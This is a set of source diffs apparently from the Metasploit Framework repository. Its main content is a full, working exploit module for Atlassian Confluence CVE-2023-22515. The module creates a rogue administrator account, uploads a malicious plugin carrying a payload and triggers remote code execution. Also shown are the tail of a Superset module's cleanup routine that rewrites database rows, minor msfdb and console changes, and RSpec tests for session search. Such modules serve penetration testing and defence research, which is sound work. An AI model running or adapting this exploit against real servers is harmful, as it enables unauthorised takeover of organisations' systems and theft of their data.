row[1] = row[1].gsub('\x', '') # we only need a beginning \x not every character for this format
|
||||
is_binary = true
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'superset', 'sql_json/'),
|
||||
'method' => 'POST',
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'keep_cookies' => true,
|
||||
'ctype' => 'application/json',
|
||||
'headers' => {
|
||||
'Accept' => 'application/json',
|
||||
'X-CSRFToken' => @csrf_token
|
||||
},
|
||||
'data' => {
|
||||
'client_id' => @client_id,
|
||||
'database_id' => @db_id,
|
||||
'json' => true,
|
||||
'runAsync' => false,
|
||||
'schema' => 'main',
|
||||
'sql' => "UPDATE key_value set value=#{is_binary ? 'X' : ''}'#{row[1]}' where id='#{row[0]}';",
|
||||
'sql_editor_id' => '1',
|
||||
'tab' => 'Untitled Query 1',
|
||||
'tmp_table_name' => '',
|
||||
'select_as_cta' => false,
|
||||
'ctas_method' => 'TABLE',
|
||||
'queryLimit' => 1000,
|
||||
'expand_data' => true
|
||||
}.to_json
|
||||
)
|
||||
if res && res.code == 200
|
||||
vprint_good('Successfully restored')
|
||||
else
|
||||
vprint_bad("Unable to reset value: #{row[1]}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# delete dashboard
|
||||
unless @dashboard_id.nil?
|
||||
print_status('Deleting dashboard')
|
||||
send_request_cgi(
|
||||
'keep_cookies' => true,
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'dashboard', @dashboard_id),
|
||||
'method' => 'DELETE',
|
||||
'headers' => {
|
||||
'Accept' => 'application/json',
|
||||
'X-CSRFToken' => @csrf_token
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
# delete sqllab tab
|
||||
unless @tab_id.nil?
|
||||
print_status('Deleting sqllab tab')
|
||||
send_request_cgi(
|
||||
'keep_cookies' => true,
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'uri' => normalize_uri(target_uri.path, 'tabstateview', @tab_id),
|
||||
'method' => 'DELETE',
|
||||
'headers' => {
|
||||
'Accept' => 'application/json',
|
||||
'X-CSRFToken' => @csrf_token
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
# delete mapping to stock database
|
||||
unless @db_id.nil?
|
||||
print_status('Deleting database mapping')
|
||||
send_request_cgi(
|
||||
'keep_cookies' => true,
|
||||
'cookie' => "session=#{@admin_cookie};",
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'database', @db_id),
|
||||
'method' => 'DELETE',
|
||||
'headers' => {
|
||||
'Accept' => 'application/json',
|
||||
'X-CSRFToken' => @csrf_token
|
||||
}
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,327 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Retry
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Atlassian Confluence Unauthenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP
|
||||
parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for
|
||||
Java objects to be modified at run time. The exploit will create a new administrator user and upload a
|
||||
malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,
|
||||
8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'sfewer-r7', # MSF Exploit & Rapid7 Analysis
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2023-22515'],
|
||||
['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis'],
|
||||
['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
|
||||
],
|
||||
'DisclosureDate' => '2023-10-04',
|
||||
'Privileged' => false, # `NT AUTHORITY\NETWORK SERVICE` on Windows by default.
|
||||
'Targets' => [
|
||||
[
|
||||
'Automatic',
|
||||
{
|
||||
'Platform' => 'java',
|
||||
'Arch' => [ARCH_JAVA]
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
# Note we cannot delete the admin user we create, as Confluence prevents a user deleting themself.
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
# By default Confluence listens for HTTP requests on TCP port 8090.
|
||||
Opt::RPORT(8090),
|
||||
# Confluence may have a non default base path, allow user to configure that here.
|
||||
OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']),
|
||||
# The endpoint we target to trigger the vulnerability.
|
||||
OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']),
|
||||
# We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.
|
||||
OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])
|
||||
)
|
||||
|
||||
return CheckCode::Unknown('Connection failed') unless res
|
||||
|
||||
# Ensure target is a Confluence server by identifying an expected HTTP header.
|
||||
return CheckCode::Unknown('No \'X-Confluence-Request-Time\' header') unless res.headers.key? 'X-Confluence-Request-Time'
|
||||
|
||||
if res.code == 200 && res.body
|
||||
# Pull out the version string from one of three known locations within the HTML.
|
||||
m = res.body.match(/ajs-version-number" content="(\d+\.\d+\.\d+)"/i)
|
||||
if m.nil?
|
||||
m = res.body.match(/Printed by Atlassian Confluence (\d+\.\d+\.\d+)/i)
|
||||
if m.nil?
|
||||
m = res.body.match(%r{<span id='footer-build-information'>(\d+\.\d+\.\d+)</span>}i)
|
||||
end
|
||||
end
|
||||
|
||||
unless m.nil?
|
||||
version = Rex::Version.new(m[1])
|
||||
|
||||
ranges = [
|
||||
['8.0.0', '8.3.2'],
|
||||
['8.4.0', '8.4.2'],
|
||||
['8.5.0', '8.5.1']
|
||||
]
|
||||
|
||||
# If we have a Confluence server within the given version ranges, it appears vulnerable.
|
||||
ranges.each do |min, max|
|
||||
if version.between?(Rex::Version.new(min), Rex::Version.new(max))
|
||||
return Exploit::CheckCode::Appears("Atlassian Confluence #{version}")
|
||||
end
|
||||
end
|
||||
|
||||
# By here we know we have a confluence server, but the version found indicates it is safe.
|
||||
return Exploit::CheckCode::Safe("Atlassian Confluence #{version}")
|
||||
end
|
||||
end
|
||||
|
||||
# By here we have identified a Confluence server, but could not get the version number to determine if it is
|
||||
# vulnerable of not.
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
target_endpoint = normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT'])
|
||||
|
||||
print_status("Setting the application configuration's setupComplete to false via endpoint: #{target_endpoint}")
|
||||
|
||||
# 1. Leverage CVE-2023-22515 to modify a configuration setting, allowing us to reach the /setup/* endpoints.
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => target_endpoint,
|
||||
'vars_post' => {
|
||||
'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
|
||||
}
|
||||
)
|
||||
|
||||
unless res&.code == 302 || res&.code == 200
|
||||
fail_with(Failure::UnexpectedReply, "Unexpected reply from endpoint: #{target_endpoint}")
|
||||
end
|
||||
|
||||
print_status('Creating a new administrator user account...')
|
||||
|
||||
# usernames must be lowercase
|
||||
admin_username = rand_text_alpha_lower(8)
|
||||
admin_password = rand_text_alphanumeric(8)
|
||||
|
||||
# 2. Create a new administrator user account.
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'setup', 'setupadministrator.action'),
|
||||
'headers' => {
|
||||
'X-Atlassian-Token' => 'no-check'
|
||||
},
|
||||
'vars_post' => {
|
||||
'username' => admin_username,
|
||||
'fullName' => rand_text_alphanumeric(8),
|
||||
# The email address does not need to be a valid address, but it must contain an @ character.
|
||||
'email' => "#{rand_text_alphanumeric(8)}@#{rand_text_alphanumeric(8)}",
|
||||
'password' => admin_password,
|
||||
'confirm' => admin_password,
|
||||
'setup-next-button' => 'Next'
|
||||
}
|
||||
)
|
||||
|
||||
unless res&.code == 302 || res&.code == 200
|
||||
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/setupadministrator.action')
|
||||
end
|
||||
|
||||
print_status("Created #{admin_username}:#{admin_password}")
|
||||
|
||||
# 3. Force the setup to become completed, to allow normal Confluence operations to continue.
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'setup', 'finishsetup.action'),
|
||||
'headers' => {
|
||||
'X-Atlassian-Token' => 'no-check'
|
||||
}
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /setup/finishsetup.action')
|
||||
end
|
||||
|
||||
print_status('Adding a malicious plugin...')
|
||||
|
||||
# 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token.
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
# Note, we concatenate '/' as this is required by the endpoint.
|
||||
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',
|
||||
'headers' => {
|
||||
'Authorization' => basic_auth(admin_username, admin_password),
|
||||
'Accept' => '*/*'
|
||||
},
|
||||
'vars_get' => {
|
||||
'os_authType' => 'basic'
|
||||
}
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
fail_with(Failure::UnexpectedReply, 'Unexpected reply from endpoint: /rest/plugins/1.0/')
|
||||
end
|
||||
|
||||
upm_token = res.headers['upm-token']
|
||||
unless upm_token
|
||||
fail_with(Failure::UnexpectedReply, 'No UPM token from endpoint: /rest/plugins/1.0/')
|
||||
end
|
||||
|
||||
begin
|
||||
payload_endpoint = rand_text_alphanumeric(8)
|
||||
|
||||
plugin_key = rand_text_alpha(8)
|
||||
|
||||
# 5. Construct a malicious Servlet plugin JAR file. We set :random to true which will randomize the string
|
||||
# 'metasploit' in the class paths (via Rex::Zip::Jar::add_sub).
|
||||
jar = payload.encoded_jar(random: true)
|
||||
|
||||
jar.add_file(
|
||||
'atlassian-plugin.xml',
|
||||
%(
|
||||
<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">
|
||||
<plugin-info>
|
||||
<description>#{rand_text_alphanumeric(8)}</description>
|
||||
<version>#{rand(1024)}.#{rand(1024)}</version>
|
||||
</plugin-info>
|
||||
<servlet key="#{rand_text_alpha(8)}" class="#{jar.substitutions['metasploit']}.PayloadServlet">
|
||||
<url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>
|
||||
</servlet>
|
||||
</atlassian-plugin>)
|
||||
)
|
||||
|
||||
jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))
|
||||
|
||||
message = Rex::MIME::Message.new
|
||||
|
||||
message.add_part(jar.pack, 'application/octet-stream', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8)}.jar\"")
|
||||
|
||||
# 6. Upload the malicious plugin.
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/',
|
||||
'ctype' => 'multipart/form-data; boundary=' + message.bound,
|
||||
'headers' => {
|
||||
'Authorization' => basic_auth(admin_username, admin_password),
|
||||
'Accept' => '*/*'
|
||||
},
|
||||
'vars_get' => {
|
||||
'token' => upm_token
|
||||
},
|
||||
'data' => message.to_s
|
||||
)
|
||||
|
||||
unless res&.code == 202
|
||||
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')
|
||||
end
|
||||
|
||||
unless res.body =~ %r{<textarea>(.+)</textarea>}
|
||||
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')
|
||||
end
|
||||
|
||||
begin
|
||||
plugin_json = JSON.parse(::Regexp.last_match(1))
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')
|
||||
end
|
||||
|
||||
# We receive a JSON object like this:
|
||||
# <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>
|
||||
|
||||
links_alternate = plugin_json&.dig('links', 'alternate')
|
||||
if links_alternate.nil?
|
||||
fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')
|
||||
end
|
||||
|
||||
print_status('Waiting for plugin to be installed...')
|
||||
|
||||
# 7. The plugin is installed asynchronously, so we poll the server for installation to be completed.
|
||||
plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, links_alternate)
|
||||
)
|
||||
|
||||
# We receive a JSON result to indicate if the plugin is finished installing.
|
||||
# {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}
|
||||
|
||||
if res&.code == 200
|
||||
begin
|
||||
res_json = JSON.parse(res.body)
|
||||
next res_json['done']
|
||||
rescue JSON::ParserError
|
||||
next false
|
||||
end
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
unless plugin_ready
|
||||
fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')
|
||||
end
|
||||
|
||||
print_status('Triggering payload...')
|
||||
|
||||
# 8. Trigger the payload by performing a request to the malicious servlet endpoint.
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)
|
||||
)
|
||||
|
||||
unless res&.code == 200
|
||||
fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
|
||||
end
|
||||
ensure
|
||||
print_status('Deleting plugin...')
|
||||
|
||||
# 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as
|
||||
# Confluence doesnt allow a user to delete themself.
|
||||
res = send_request_cgi(
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),
|
||||
'headers' => {
|
||||
'Authorization' => basic_auth(admin_username, admin_password),
|
||||
'Connection' => 'close'
|
||||
}
|
||||
)
|
||||
|
||||
unless res&.code == 204
|
||||
print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
+1
-1
@@ -10,7 +10,7 @@ begin
|
||||
|
||||
# Silences warnings as they only serve to confuse end users
|
||||
if defined?(Warning) && Warning.respond_to?(:[]=)
|
||||
Warning[:deprecated] = false
|
||||
Warning[:deprecated] = false unless ENV['CI']
|
||||
end
|
||||
|
||||
# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5
|
||||
|
||||
@@ -673,7 +673,7 @@ def persist_data_service
|
||||
end
|
||||
|
||||
def clear_default_data_service
|
||||
puts 'Clearing http web data service credentials in msfconsole'
|
||||
puts 'Verifying msfconsole data service'
|
||||
# execute msfconsole commands to clear the default data service connection
|
||||
cmd = "db_disconnect --clear; exit"
|
||||
run_msfconsole_command(cmd)
|
||||
@@ -996,23 +996,10 @@ def prompt_for_component(command)
|
||||
end
|
||||
|
||||
def prompt_for_deletion(command)
|
||||
destructive_operations = [:init, :reinit, :delete]
|
||||
destructive_operations = [:reinit, :delete]
|
||||
|
||||
if destructive_operations.include? command
|
||||
if command == :init
|
||||
return if web_service_pid_status != WebServicePIDStatus::NO_PID_FILE
|
||||
if (@options[:component] == :all || @options[:component] == :webservice) && should_generate_web_service_ssl &&
|
||||
(File.file?(@options[:ssl_key]) || File.file?(@options[:ssl_cert]))
|
||||
@options[:delete_existing_data] = should_delete
|
||||
return
|
||||
end
|
||||
if (@options[:component] == :all || @options[:component] == :database) && File.exist?(@db_conf)
|
||||
@options[:delete_existing_data] = should_delete
|
||||
return
|
||||
end
|
||||
else
|
||||
@options[:delete_existing_data] = should_delete
|
||||
end
|
||||
@options[:delete_existing_data] = should_delete
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -314,6 +314,13 @@ RSpec.describe Metasploit::Framework::Hashes do
|
||||
end
|
||||
end
|
||||
|
||||
describe 'identify_pbkdf2-sha256' do
|
||||
it 'returns pbkdf2-sha256' do
|
||||
hash = described_class.identify_hash('$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU')
|
||||
expect(hash).to match('pbkdf2-sha256')
|
||||
end
|
||||
end
|
||||
|
||||
describe 'identify_empty_string' do
|
||||
it 'returns empty string' do
|
||||
hash = described_class.identify_hash('')
|
||||
|
||||
@@ -397,4 +397,375 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#cmd_sessions' do
|
||||
before(:each) do
|
||||
allow(driver).to receive(:active_session=)
|
||||
allow(framework).to receive(:sessions).and_return(sessions)
|
||||
end
|
||||
|
||||
context 'with no sessions' do
|
||||
let(:sessions) { [] }
|
||||
it 'When the user does not enter a search term' do
|
||||
core.cmd_sessions
|
||||
expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
No active sessions.
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user searches for a session' do
|
||||
core.cmd_sessions('--search', 'session_id:1')
|
||||
expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
No matching sessions.
|
||||
TABLE
|
||||
end
|
||||
end
|
||||
|
||||
context 'with sessions' do
|
||||
let(:sessions) do
|
||||
{
|
||||
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'sesh1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
|
||||
}
|
||||
end
|
||||
|
||||
it 'When the user searches for an invalid field' do
|
||||
core.cmd_sessions('--search', 'not_a_term:1')
|
||||
expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
Please provide valid search term. Given: not_a_term
|
||||
TABLE
|
||||
end
|
||||
end
|
||||
|
||||
context 'searching for sessions with different ids' do
|
||||
let(:sessions) do
|
||||
{
|
||||
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
|
||||
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
|
||||
}
|
||||
end
|
||||
|
||||
it 'When the user searches for a specific id' do
|
||||
core.cmd_sessions('--search', 'session_id:1')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 session1 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user searches for a session id that does not exist' do
|
||||
core.cmd_sessions('--search', 'session_id:6')
|
||||
expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
No matching sessions.
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user searches for multiple ids' do
|
||||
core.cmd_sessions('--search', 'session_id:2 session_id:1')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 session1 meterpreter info tunnel (127.0.0.1)
|
||||
2 session2 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user searches for multiple ids and only some match' do
|
||||
core.cmd_sessions('--search', 'session_id:2 session_id:6')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 session2 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
end
|
||||
|
||||
context 'searches with sessions with different session types' do
|
||||
let(:sessions) do
|
||||
{
|
||||
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'cmd_shell', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
|
||||
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
|
||||
3 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'java', sid: 3, sname: 'session3', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
|
||||
}
|
||||
end
|
||||
|
||||
it 'returns session match by type' do
|
||||
core.cmd_sessions('--search', 'session_type:meterpreter')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 session2 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'filters by multiple session types' do
|
||||
core.cmd_sessions('--search', 'session_type:meterpreter session_type:java')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 session2 meterpreter info tunnel (127.0.0.1)
|
||||
3 session3 java info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
end
|
||||
|
||||
context 'searches with sessions with different checkin values' do
|
||||
before(:all) do
|
||||
Timecop.freeze(Time.parse('Dec 18, 2022 12:33:40.000000000 GMT'))
|
||||
end
|
||||
|
||||
after(:all) do
|
||||
Timecop.return
|
||||
end
|
||||
|
||||
let(:sessions) do
|
||||
{
|
||||
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
|
||||
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 90), type: 'meterpreter', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
|
||||
3 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 20000), type: 'meterpreter', sid: 3, sname: 'session3', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
|
||||
}
|
||||
end
|
||||
|
||||
it 'When the user searches using fractions of a second' do
|
||||
core.cmd_sessions('--search', 'last_checkin:less_than:100.5s')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 session1 meterpreter info tunnel (127.0.0.1)
|
||||
2 session2 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user searches using multiple units with fractional seconds' do
|
||||
core.cmd_sessions('--search', 'last_checkin:less_than:1m40.5s')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 session1 meterpreter info tunnel (127.0.0.1)
|
||||
2 session2 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user searches using fractions of a minute' do
|
||||
core.cmd_sessions('--search', 'last_checkin:greater_than:0.5m1s')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 session2 meterpreter info tunnel (127.0.0.1)
|
||||
3 session3 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user searches using capital letters' do
|
||||
core.cmd_sessions('--search', 'last_checkin:greater_than:31S')
|
||||
expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 session2 meterpreter info tunnel (127.0.0.1)
|
||||
3 session3 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user searches using an invalid checkin parameter' do
|
||||
core.cmd_sessions('--search', 'last_checkin:something:10s')
|
||||
expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
Please specify less_than or greater_than for checkin query. Ex: last_checkin:less_than:1m30s. Given: something
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user searches using duplicated time units' do
|
||||
core.cmd_sessions('--search', 'last_checkin:less_than:10s10s')
|
||||
expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
Please do not provide duplicate time units in your query
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user properly specifies both less_than and greater_than checkin ranges' do
|
||||
core.cmd_sessions('--search', 'last_checkin:less_than:200s last_checkin:greater_than:30s')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 session2 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user specifies a greater_than time that is larger than the less_than time' do
|
||||
core.cmd_sessions('--search', 'last_checkin:greater_than:200s last_checkin:less_than:30s')
|
||||
expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
After value must be a larger duration than the before value.
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user uses two before arguments with last checkin' do
|
||||
core.cmd_sessions('--search', 'last_checkin:greater_than:200s last_checkin:greater_than:30s')
|
||||
expect(@combined_output.join("\n")).to match_table <<~TABLE
|
||||
Cannot search for last_checkin with two greater_than arguments.
|
||||
TABLE
|
||||
end
|
||||
end
|
||||
|
||||
context 'Searches with sessions that have different checkins and types' do
|
||||
before(:all) do
|
||||
Timecop.freeze(Time.parse('Dec 18, 2022 12:33:40.000000000 GMT'))
|
||||
end
|
||||
|
||||
after(:all) do
|
||||
Timecop.return
|
||||
end
|
||||
|
||||
let(:sessions) do
|
||||
{
|
||||
1 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: Time.now, type: 'meterpreter', sid: 1, sname: 'session1', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
|
||||
2 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 90), type: 'java', sid: 2, sname: 'session2', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel'),
|
||||
3 => instance_double(::Msf::Sessions::Meterpreter_x64_Win, last_checkin: (Time.now - 20000), type: 'cmd_shell', sid: 3, sname: 'session3', info: 'info', session_host: '127.0.0.1', tunnel_to_s: 'tunnel')
|
||||
}
|
||||
end
|
||||
|
||||
it 'When the user specifies both type and checkin' do
|
||||
core.cmd_sessions('--search', 'last_checkin:less_than:1m40.5s session_type:meterpreter')
|
||||
expect(@output.join("\n")).to match_table <<~TABLE
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 session1 meterpreter info tunnel (127.0.0.1)
|
||||
TABLE
|
||||
end
|
||||
|
||||
it 'When the user specifies both type and checkin but there are only partial matches' do
|
||||
core.cmd_sessions('--search', 'last_checkin:less_than:1m40.5s session_type:something')
|
||||
